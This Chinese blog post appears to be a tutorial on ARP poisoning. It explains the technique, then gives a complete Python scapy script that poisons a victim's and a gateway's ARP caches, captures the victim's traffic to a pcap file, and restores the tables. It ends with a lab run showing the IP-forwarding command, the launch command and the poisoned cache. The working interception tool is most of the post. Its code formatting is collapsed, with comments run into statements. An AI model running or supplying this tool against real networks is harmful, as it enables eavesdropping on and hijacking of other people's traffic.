本博客地址:https://security.blog.csdn.net/article/details/125974145
一、ARP投毒技术
ARP投毒的逻辑:欺骗目标设备,使其相信我们是它的网关;然后欺骗网关,告诉它要发给目标设备的所有流量必须交给我们转发。网络上的每一台设备,都维护着一段ARP缓存,里面记录着最近一段时间本地网络上的MAC地址和IP地址的对应关系。为了实现这一攻击,我们会往这些ARP缓存中投毒,即在缓存中插入我们编造的记录。另外,ARP投毒只对IPv4有效,对IPv6是无效的。
二、代码实例
代码中已有明确注释,因此不再做单独的逻辑解释
#!/usr/bin/python
#-*- coding:utf8 -*-from scapy.all import *
from multiprocessing import Process
import os
import sys
import time# 获取任意设备的MAC地址
def get_mac(targetip):# 传入目标IP地址并创建一个查询数据包# Ether函数将这个数据包全网广播# ARP函数构造一个MAC地址查询请求,询问每个节点其它地址是否为这个目标IP地址packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op='who-has',pdst=targetip)# srp函数发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的macresp,_ = srp(packet, timeout=2, retry=10,verbose=False)for _,r in resp:return r[Ether].srcreturn Noneclass Arper:# 用受害者IP地址、网关IP地址、网卡来初始化这个类def __init__(self,victim,gateway,interface='eth0'):self.victim = victimself.victimmac = get_mac(victim)self.gateway = gatewayself.gatewaymac = get_mac(gateway)self.interface = interfaceconf.iface = interfaceconf.verb = 0# 填充interface、gateway、gatewaymac、victim、victimmac等成员变量print(f'Initialized {interface}:')print(f'Gateway ({gateway}) is at {self.gatewaymac}.')print(f'Victim ({victim}) is at {self.victimmac}.')print('_'*30)# run函数为攻击入口点def run(self):# 进程一:毒害ARP缓存self.poison_thread = Process(target=self.poison)self.poison_thread.start()# 进程二:嗅探网络流量、实时监控攻击过程self.sniff_thread = Process(target=self.sniff)self.sniff_thread.start()# posion函数用于投毒def poison(self):# 构建毒害受害者的恶意ARP数据包poison_victim = ARP()poison_victim.op = 2poison_victim.psrc = self.gatewaypoison_victim.pdst = victimpoison_victim.hwdst = self.victimmacprint(f'ip src:{poison_victim.psrc}')print(f'ip dst:{poison_victim.pdst}')print(f'mac dst: {poison_victim.hwdst}')print(f'mac src: {poison_victim.hwsrc}')print(poison_victim.summary())print('-'*30)# 构建毒害受害者的恶意ARP数据包# 毒害网关时会发送受害者的IP地址和攻击者的MAC地址# 受害者受害时,会发送网关的IP地址和攻击者的MAC地址poison_gateway = ARP()poison_gateway.op = 2poison_gateway.psrc = self.victimpoison_gateway.pdst = self.gatewaypoison_gateway.hwdst = self.gatewaymacprint(f'ip src:{poison_gateway.psrc}')print(f'ip dst:{poison_gateway.pdst}')print(f'mac dst: {poison_gateway.hwdst}')print(f'mac src: {poison_gateway.hwsrc}')print(poison_gateway.summary())print('-' * 30)print(f"[*] Beginning the ARP poison. [CTRL+C to stop]")# 不停将恶意数据包发往它们的目的地,确保攻击过程中ARP缓存一直处于中毒状态while True:sys.stdout.write('.')sys.stdout.flush()try:# 开始发送ARP欺骗包(投毒)send(poison_victim)send(poison_gateway)# 按下CTRL+C停止,此时将网络状态恢复为原样,将正确信息发送给受害者和网关except KeyboardInterrupt:self.restore()sys.exit()else:# 停2秒time.sleep(2)# sniff函数用于嗅探def sniff(self,count=100):# 开始嗅探前休眠5秒,给投毒线程留下足够的启动时间time.sleep(5)print(f'Sinffing {count} packets')# 嗅探带有受害者IP的数据包bpf_filter = 'ip host %s' % victim# 嗅探指定的个数,默认100个packets = sniff(count=count,filter=bpf_filter,iface=self.interface)# 将嗅探的数据包存储为arper.pcap的文件wrpcap('arper.pcap',packets)print('Got the packets')# 将ARP表中的数据还原为原来的值,然后终止投毒线程self.restore()self.poison_thread.terminate()print('Finished.')# restore函数用于恢复网络设置def restore(self):# 以下代码调用send函数的方式稍有不同print ("Restoring ARP tables...")# 把网关原本的IP地址和MAC地址发给受害者send(ARP(op=2, psrc=self.gateway, pdst=self.victim, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), count=5)# 把受害者原本的IP地址和MAC地址发给网关send(ARP(op=2, psrc=self.victim, pdst=self.gateway, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.victimmac), count=5)if __name__ == '__main__':(victim,gateway,interface) = (sys.argv[1],sys.argv[2],sys.argv[3])myarp = Arper(victim,gateway,interface)myarp.run()
三、运行测试
首先我们看看目标设备上的ARP缓存,用来在完成投毒之后做对比。
攻击目标信息:
IP:192.168.153.134
MAC:00:0c:29:fc:a0:91
查看ARP缓存中的网络邻居地址。
攻击者信息:
IP:192.168.153.141
MAC:00:0c:29:7f:05:7d
攻击目标网关:
IP:192.168.153.2
MAC:00:50:56:ee:4c:b1
首先对本地主机进行测试,开启对网关和目标设备的流量转发功能(192.168.153.141)。
echo 1 > /proc/sys/net/ipv4/ip_forward
之后运行脚本。
python arper.py 192.168.153.134 192.168.153.2 eth0
如下所示:
此时在目标及其上查看网关,可见目标机器的ARP缓存已经被投毒了,其中的网关(192.168.153.2)的MAC地址其实是攻击者的,同时也可以看到攻击者是192.168.153.141,因为它的MAC地址和网关的毒MAC地址是一样的。
攻击目标信息:
IP:192.168.153.134
网关:192.168.153.2
网关MAC:00:0c:29:7f:05:7d